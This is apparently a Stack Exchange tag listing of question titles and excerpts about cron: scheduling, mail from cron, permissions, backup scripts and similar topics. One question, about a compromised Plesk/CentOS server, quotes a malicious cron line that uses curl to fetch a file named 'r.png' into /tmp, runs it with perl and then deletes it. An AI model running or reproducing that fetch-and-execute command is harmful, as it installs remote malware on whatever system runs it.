Cron is a job scheduler that allows users to run commands periodically.

learn more… | top users | synonyms (1)

1
vote
1answer
137 views

Launch 2 celery processes via cron

I'm trying to chain some commands to periodically check/launch two processes via cron (I'm on a shared host, can't change things around). After a lot of googling around, all the things I've done don't ...
7
votes
1answer
486 views

How to autostart a background program by a non-root user?

As a non-root user, I want to run a background job when the system boots. It's sort of a service which doesn't require root privilege. Is there a way to do it? One way is to put sudo -u user command ...
1
vote
1answer
426 views

Cron automated bash script to run run 1 bash script then another, plus integrity check

So I have a custom in-house app developed by a 3rd party. When the app is running, I can verify it is running with the "screen -ls" command. As long as screens are running for rails and freeswitch ...
3
votes
1answer
770 views

Cron job still running when deleted

On a server I inherited, there is a cron job running hourly on one of the Debian servers. It sends an email out to a non-existent email, but bounces back to my account since I listed myself as the ...
2
votes
1answer
97 views

Executing 'ssh-add -D' from a cron job doesn't work

I've set up an openSSH server on an ubuntu-server machine, and I configured it to use public/private key (without password). I want to require both password and key check when the client connects to ...
1
vote
1answer
804 views

Pimp rsyslogd to have less i/o (cron, pam,…) and less logging

On my raspberry I really don't need crons and pam logging and I want to have less i/o to make the SD card life a little longer.. I have already removed cron with the second line cron.none, I'm ...
2
votes
1answer
241 views

systemd - Timer units that mimic anacron behaviour

I need to write a timer unit for a machine which is turned of frequently (e.g. classical desktop setup). This timer unit needs to be activated regularly but not very often (e.g. weekly, monthly). I ...
2
votes
2answers
273 views

Stop cron sending mail for backup script?

I have set up a backup script to back up world data on my Minecraft server hourly using cron, but because the worlds being constantly edited by players, tar was telling me that files changed while ...
2
votes
3answers
896 views

Solaris: how to forward cron e-mails?

If a cron job produces output it is e-mailed to the user's account. I would like to redirect this e-mail to another e-mail account. Preferably on a user-by-user basis. I've looked into some options ...
1
vote
0answers
26 views

Script executed from cron doesn't display GUI notifications [duplicate]

The script below has the name notifyrssh.sh. 1: File=/home/vaios/Desktop/tempcron/liveusers.txt //OK 2: cd /home/vaios/Desktop/tempcron 3: ps -aux | grep sshd > ...
1
vote
0answers
111 views

Scheduling cronjobs at specified time

I have scheduled some jobs in crontab which are to be run one by one, at some specific time. My script for crontab is : 15 10 * * * /Users/sri/files/BatchFF.sh 45 11 * * * /Users/sri/files/BatchGC.sh ...
2
votes
2answers
3k views

Run a sudo (or startup) python script from cron on a Raspberry Pi?

I'm helping out with an art project (http://stargateeggbeater.com/ for those interested) built on Raspberry Pi. The RPi controls an addressable LED strip through the GPIO, using the spidev device per ...
1
vote
1answer
100 views

How can I create cron jobs in specific files?

I want to have a separate folders for cron jobs like: /mydata/cronjobs Now in that folder I want to have files like backup_server which will have the content like: 30 3 * * 1-5 ...
4
votes
1answer
621 views

How is cron scheduling actually implemented and makes sure scripts run on time?

I want to ask about cron jobs. OK, we place the scripts in the crontab and the cron daemon executes them. Now if I understand this, each minute, cron checks the crontab of each user and executes the ...
2
votes
2answers
3k views

What are the permissions of a cron job?

When a cron job runs with what privilege does it execute? I'm not sure about that. Is it with the same privileges of the user that added it via crontab -e?
1
vote
1answer
153 views

Deadlock in a crontab between cron and its child defunct processes

I'm having a strange case of deadlock, where the two processes launched by cron are defunct, but cron does not pick the return code and exit. I don't have access to the root user. myuser@myserver:~) ...
2
votes
4answers
2k views

Crontab not working

I'm trying execute a basic shutdown crontab to run M-F at 10PM. So I did the following: sudo crontab -e Once inside of the crontab I added the following line: 0 22 * * 1-5 shutdown now The job ...
3
votes
2answers
381 views

Cron jobs and mail notification

I have (from one tutorial) cron job which make weekly backup on my website and is working fine. #!/bin/bash NOW=$(date +"%Y-%m-%d-%H%M") FILE="mysite.com.$NOW.tar" BACKUP_DIR="/home/user/backups/" ...
2
votes
4answers
2k views

How to display a (zenity/GUI) dialog to the user after a root cron task has completed

I have a simple periodic cron task that must run as root. I want to use Zenity (or similar) to display a GUI informational dialog to user 1000 (or logged in user or all users) when the cron task ...
3
votes
2answers
128 views

Cron job for every minute executing out of order?

I'm setting up some shell scripting to be executed every five minutes, then every minute on our client's system, to poll a log and pull some timing information to be stored and accessed by another ...
1
vote
1answer
79 views

Cron job doesn't seem to be executing in ubuntu

I have a script located /myscript/script.sh and I have a cronjob that I submitted like this: sudo crontab -e The contents of the crontab are as follows: */1 * * * * ./myscript/script.sh The ...
1
vote
1answer
188 views

Why do I get different outputs when running my shellscript manually from when I run it with cron? [duplicate]

I have a fairly simple shell script (foo.sh) that looks like this: #!/bin/bash echo -n "$USER,$(date)," `binary -flags | sed -e '1,30d'`; exit 0; This script is supposed to prepare some output ...
2
votes
1answer
72 views

Running services without sudo

I want to run a nodeJS web server on a couple of machines which I don't have sudo access on. What would be a good way to do this? The two requirements are: running the service without being ...
3
votes
1answer
158 views

Cron job results are different from executing from own shell

I am using Ubuntu 12.0.4 I have a script basically with the following codes: lockfile=/var/tmp/mylock if ( set -o noclobber; echo "$$" > "$lockfile") 2> /dev/null; then exit_normally ...
0
votes
2answers
676 views

How can I check, if my cronjob is runnning on my server via PHP?

I would like to give out a warning If cron is not running or if a certain cronjob is not set in crontab on my server. Is this possible to check with php?
0
votes
2answers
177 views

Linux 'mail' command: Can't open display

I've just installed the 'mail' command in Ubuntu (mailutils package) in order to view feedback from cron jobs. I type 'mail' at the prompt and see something like this: "/var/mail/*$USER*": 1 message ...
2
votes
1answer
149 views

Rsync over Rsync via cronjob

I have a local server which Rsync's from some computers on the LAN. It's a part of a backup solution. This Rsync runs via cronjob twice a day. Occationally people add gigantic amounts of data, like a ...
3
votes
1answer
269 views

ls gives me different sort orders during a cron job

I have a cron job that, among other things, does a recursive ls of a directory into a file. This gets compared to another file that I've created that, supposedly, contains an identical listing of the ...
4
votes
1answer
1k views

start-stop-daemon makes cron pidfile with wrong pid

I have an init.d script to start crond which specifies the following for start(): start-stop-daemon -S --quiet --make-pidfile --pidfile /var/run/crond.pid --background --exec /usr/sbin/crond ...
1
vote
2answers
827 views

Running `screen` through a @reboot cron job

I want to have a script running in screen at startup. This doesn't work: @reboot pi screen -d -m /home/pi/db_update.py however running this manually as user pi works: screen -d -m ...
1
vote
2answers
50 views

When will this cron run

Cron: * */6 * * * /path/to/command I want this cron to run once in every 6 hour. Whats wrong with the above cron definition, and why?
3
votes
2answers
257 views

Automatic Update Script using Cron, Exit Codes, and Logging

I'm managing multiple machines running Debian, Raspian, and Mint. On some of the machines I want to have updating and upgrading automatically. I've drafted a script that I want to do this and log if ...
1
vote
1answer
104 views

How to prevent the termination of Anacron jobs after battery mode commences?

I have a backup script which is run daily by Anacron. It can take around 3 hours to complete. I'm happy for Anacron not to commence the script if the laptop is running on batteries, but once started, ...
0
votes
2answers
87 views

Split logs from cron jobs

I currently have a log file which has no limit and I was hoping to be able to set up a cron job that would start writing to a new file so it doesn't get too big. Would that be possible? So it would ...
3
votes
3answers
320 views

Automating tasks on a website on a headless server

I want to automate a task which can only be done on a website (with prior login) on my debian server. There is no public API available, so I can't use one. Is there a way to do so? I thought about a ...
3
votes
1answer
229 views

Running time command with cron

So I have a crontab that have this line: 30 16 * * * (time sysbench --test=cpu --cpu-max-prime=20000 run) 2>> ~/cpu.out I use this because time output goes by default to stderr and I want to ...
4
votes
2answers
9k views

How to start a cron job without reboot?

I use a cron job to call offlineimap every 2 minutes: */2 * * * * /usr/bin/offlineimap > ~/Maildir/offlineimap.log 2>&1 I needed to kill the cron job to fix a problem. How can I then ...
0
votes
1answer
203 views

how to automatically cleanup failed PHP uploads in /tmp?

How can I automatically cleanup failed uploads? PHP is storing them in /tmp and all file names look like phpAbCDeF (basically php followed by 6 characters). I know that I can use the command: find ...
2
votes
1answer
254 views

bash script - supervisor program

I have to write a shell-script that have to do the following tasks: -in every 5 seconds it saves:     -how many users are using joe and/or vi;     -if ...
2
votes
2answers
334 views

cron from multiple files

How do I make cron daemon check cron entries from more than one files. In my project I need to frequently update cron file, so instead of manipulating the existing file I was planning to write my ...
1
vote
2answers
652 views

set up local mail delivery to user from cron script

A line in my cron.daily script not work as expected. I haven't any special smtp mail server in system, this line rsync -avun --inplace /oneuser/file.xls /otheruser/file.xls| mail -s "$0 $?" ...
1
vote
1answer
127 views

Why does rsync look for DSA instead of RSA key when run from cron job?

I want to backup files from a server to my local computer using rsync. I can only log-in to the server with an RSA ssh key. I have stored the passphrase to the key in Seahorse Passwords and Keys, ...
2
votes
1answer
361 views

Script to check a folder, print the files then delete those files

I am looking for some guidance on creating a script that will check a specific folder, print all documents (if any) and then delete those documents. I would also like to run this script as a cron job. ...
0
votes
2answers
882 views

Cron job not running / not successful?

I have a couple of cron jobs set up to maintain a local copy of a remote database. The first one downloads the latest version of the database from the remote machine, which runs every day and is ...
2
votes
2answers
246 views

Strange crontab-script interaction (bash)

I'm running Ubuntu 12.04 and bash. I've written a pair of shell scripts that allow me to set an alarm which, after ringing, unsets itself. The first, alarmset, allows me to enter a time and modifies ...
2
votes
0answers
100 views

Use dedicated per-user log file for cron and?

On Ubuntu 12.04 how can I configure cron to log to a particular file when it runs jobs as a particular user? I am interested in redirecting both the messages that go into auth.log and those going into ...
0
votes
2answers
1k views

Ubuntu crontab php not working

Yes, I have read many, many documentations but I can't get it to work. I have a simple single php file which I want to run once or twice in a minute. My php file is called: cronjob_refresh.php and I'm ...
-1
votes
1answer
198 views

Plesk, Centos server error: Cron <root@…> cd /tmp;curl -s -O http://…/r.png;perl r.png;rm -fr r.png [closed]

I had the bright idea of clearing some space on the root partition. I thought I was fairly safe from what I have read by removing some of the locale files for Plesk and some of the backup.tar.gz and ...
2
votes
3answers
450 views

How can I schedule a python program to run from another python program?

I'm running a Python program on my Linux server, and depending on some external data it has to run again at xx minutes or hours from now. So let's say it runs at 6 AM, and then it has to run again at ...
1
vote
2answers
286 views

No syntax highlighting when editing crontab

I am trying to figure out why I don't have syntax highlighting when editing my crontab. I have both $EDITOR and $VISUAL set to /usr/bin/vim: > echo $EDITOR /usr/bin/vim > echo $VISUAL ...